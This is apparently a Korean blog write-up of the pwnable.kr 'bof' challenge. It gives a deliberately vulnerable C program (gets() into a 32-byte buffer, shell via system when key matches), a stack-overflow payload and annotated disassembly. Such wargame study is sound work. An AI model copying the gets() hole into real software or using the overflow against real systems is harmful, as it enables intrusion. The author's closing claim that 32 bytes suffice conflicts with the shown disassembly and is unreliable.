#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
해공예를 읽자!
func 함수 실행 시점에서 스택 상태
overflowme[32]
sfp
retn
key
즉 넣어줄 값은 a 40개 + \xbe\xba\xfe\xca임 아이 쉽다 ㅎㅎ
근데 안된다. 왜 안되지 하고 뜯어보니
0x000055555555471a <+0>: push rbp
0x000055555555471b <+1>: mov rbp,rsp
0x000055555555471e <+4>: sub rsp,0x30
0x0000555555554722 <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000555555554725 <+11>: lea rdi,[rip+0xe8] # 0x555555554814
0x000055555555472c <+18>: mov eax,0x0
0x0000555555554731 <+23>: call 0x5555555545e0 <printf@plt>
0x0000555555554736 <+28>: lea rax,[rbp-0x20] //rbp-32의 주소를 넣고
0x000055555555473a <+32>: mov rdi,rax
0x000055555555473d <+35>: mov eax,0x0
0x0000555555554742 <+40>: call 0x5555555545f0 <gets@plt> //문자열을 받는다
0x0000555555554747 <+45>: cmp DWORD PTR [rbp-0x24],0xcafebabe //비교하는 부분은 바로 그 36번째 자리를 비교한다
0x000055555555474e <+52>: jne 0x55555555475e <func+68>
0x0000555555554750 <+54>: lea rdi,[rip+0xcc] # 0x555555554823
0x0000555555554757 <+61>: call 0x5555555545d0 <system@plt>
0x000055555555475c <+66>: jmp 0x55555555476a <func+80>
0x000055555555475e <+68>: lea rdi,[rip+0xc6] # 0x55555555482b
0x0000555555554765 <+75>: call 0x5555555545c0 <puts@plt>
0x000055555555476a <+80>: nop
0x000055555555476b <+81>: leave
0x000055555555476c <+82>: ret
즉 a는 32개만 넣어줘도 되는거였다. 왜 이런지는 잘 모르겠다. 코드 영역 주소보니까 뭔가 터치가 있었던 것 같긴 하다.
'write-up > pwnable.kr' 카테고리의 다른 글
[toddler's bottle] random (0) | 2018.11.30 |
---|---|
[toddler's bottle] passcode (0) | 2018.11.30 |
[toddler's bottle] flag (0) | 2018.11.30 |
[toddler's bottle] col (0) | 2018.11.30 |
[toddler's bottle] fd (0) | 2018.11.29 |